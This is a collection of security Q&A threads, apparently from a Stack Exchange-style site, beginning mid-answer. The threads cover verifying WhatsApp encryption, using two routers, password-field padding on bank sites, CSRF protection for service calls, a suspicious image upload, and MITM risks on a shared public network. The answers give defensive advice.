Finally, knowing that telephoneNumber is a valid thing, it was possible to Google "site:openssl.org telephoneNumber" and the source code for obj_mac.h has that along with facsimileTelephoneNumber, homeTelephoneNumber, mobileTelephoneNumber, and pagerTelephoneNumber.  (Personally, I think if you're just putting one number in, you should be general ("telephoneNumber") rather than pedantic ("mobileTelephoneNumber"), so that's what I've used above).


How do I verify that WhatsApp is using end-to-end encryption? Slightly old news: Whatsapp Just Switched on End-to-End Encryption for Hundreds of Millions of Users

Is there any test that I can perform to verify that WhatsApp is indeed using end-to-end encryption between my and another Android phone?

There isn't any quick check you can perform in order to be sure that end-to-end encryption is used. Even if you manage to get this confirmation, then you have to make sure that the used encryption keys never left your device (and the device of your friend). If end-to-end encryption is used, but WhatsApp or someone else has access to the encryption keys, the chat is no longer confidential.

There is some available information which can allow a security researcher to start investigating the matter:

The encryption software is known and the code is open source (even if we do not know what changes were made to the WhatsApp implementation)

  WhatsApp will integrate the open-source software Textsecure, created by privacy-focused non-profit Open Whisper Systems, which scrambles messages with a cryptographic key that only the user can access and never leaves his or her device

TextSecure GitHub

P.S.: There is at least one way to tell if they are not using end-to-end encryption and parsing the contents of your messages. Some time ago, a security researcher discovered that URLs sent in Skype messages are accessed from Microsoft IP addresses (link). You can try the same thing by setting up a web server and sending some unique URLs on WhatsApp.


Using more routers makes my PC safer? I have a router and my ISP provided me a new router. Makes sense using the two as PC -> router1 -> router2(internet) or I'm just slowing (small, 1 or 2ms) my internet for nothing?

Adding any network equipment in your network architecture is bound to slow down the traffic by at least a small portion. Each device processes the data, at least to put them from one cable to the other.

Using multiple routers (security wise) is interesting when you start having multiple machines and want to isolate clusters of them from each other (e.g. when you have two department in a company). As a individual user, it does not helps in any sense, unless one router can provide a service the other can't.


Why do some websites increase the number of characters in the password field when logging in? Why do some websites (especially banking sites) display more characters in the password field than were actually typed? This is sometimes apparent just after clicking the login button.

Some online banks, and some other web services, clear the password field and/or replace with a fixed number of characters so that if (for any reason) the login form submission failed or the user double clicked on the Login button then he won't be able to make the same submission again. The "rationale" behind it seems to be that they don't want the password to stay in the user's browser for more than needed.

To me, it actually doesn't make sense at all. But, then again, some online banks enforce a number-only password policy, which doesn't make sense at all.

This is usually done using JavaScript, something along the lines of

loginForm.elements[3].value = '00000000000000000000000000';


CSRF Guard - Can it protect service call also? I'm implementing CSRF guard in my web application. I have done all the required configuration and I can see token getting generated/injected into the request header.

Let me tell you application's architecture a bit, I have JSP pages which makes call to services using Ajax to get the data and display in the UI.

My question here is "Can we protect service calls also with CSRF guard?" If it is possible then how can I do this because it is not going to CsrfGuardFilter.java class when I'm debugging the execution.

When you want one applicaton to prove that it has the right to talk to another (the web service) we are no longer talking about CSRF but about authentication.  Usually this is done by secure token sent from web application to web service via a POST request.

Check out the first answer to this
https://stackoverflow.com/questions/6134082/restful-web-service-how-to-authenticate-requests-from-other-services

and

https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet


How to test image upload vulnerability in a mobile application? I am administering a mobile application with many users. Users can upload their own .jpg images.

I cannot know at this moment if image inputs on the application I am administrating are sanitized or not, but I know that a user managed to upload an image which crashes application for whoever views the image.

It works like this:

User uploads his .jpg file to his profile
It gets stored in database

I checked the database and saw that instead of the image file name for the user it says simply <HTML></HTML>

I instantly realized that he might have a method to merge HTML/PHP files with image files and execute code.

Being extremely stupid I deleted the actual file he uploaded without checking it first.

Now, is there some way to launch simple php/mysql codes using the image merge method to test the vulnerability myself? I tried variations with adding html and php code in EXIF data of the header, but it still saved as a normal image in the database. I did not manage to get the image saved as  < HTML >< / HTML> as the hacker originally did.

It is possible that he couldn't get past the security and actually hack into the server, but it is obvious he launched a script which resulted in an error and the app crashing.

I would like to figure out what kind of a method was used here. Would appreciate any help!

One of the most important laws of security: Never ever think about trusting the client. No exceptions.

If your client can send any file for you and have direct access to it later, you are asking for trouble.

If your files are pictures, make sure they are really pictures. Searching for .png on the extension or Content-type: image/png is not enough. You must use functions to really detect a picture.

And you must not let users direct access the files. Get the file, put on a folder inaccessible to the webserver using a generated name, and use a file to send the image to the client, using fpasstrhu() or something like it. If possible, apply some transformation to the image.

Does not matter if it's a mobile application, a desktop application, an API or anything: the server is the same.


MITM attack in a star network with proxy server My community centre has a public computer center. I am pretty sure that it's connected in a star topology with some switch in the center. It also have a proxy server which we need to enter a username and password to access the internet. The username and password can be requested from the service counter near the public computer center.

My question is that how might somebody using the community centre's computer do a MiTM attack on me also using the community centre's computer. Secondly, how might I be able to protect myself from such attacks.

Thanks!

Security on a computer not controlled by you is relatively hard, but here's the best advice I can give:

Use strong authenticated encryption.  Whenever the question is "how do I protect against MITM attacks", the answer is always "use strong authenticated encryption."  For web browsing, this means TLS (HTTPS) without mixed content and with valid certificates.

Given that this is a community center computer, I'm not going to suggest techniques like using a VPN, TOR, or other proxies, since you're probably not in a position to be installing software.

Also, on a shared/public computer, you want to watch out for malware as much as possible.  Hopefully they use up-to-date anti-malware software.  (Again, on a computer not controlled by you, you don't have much ability to change this, but can at least be aware of the risk.)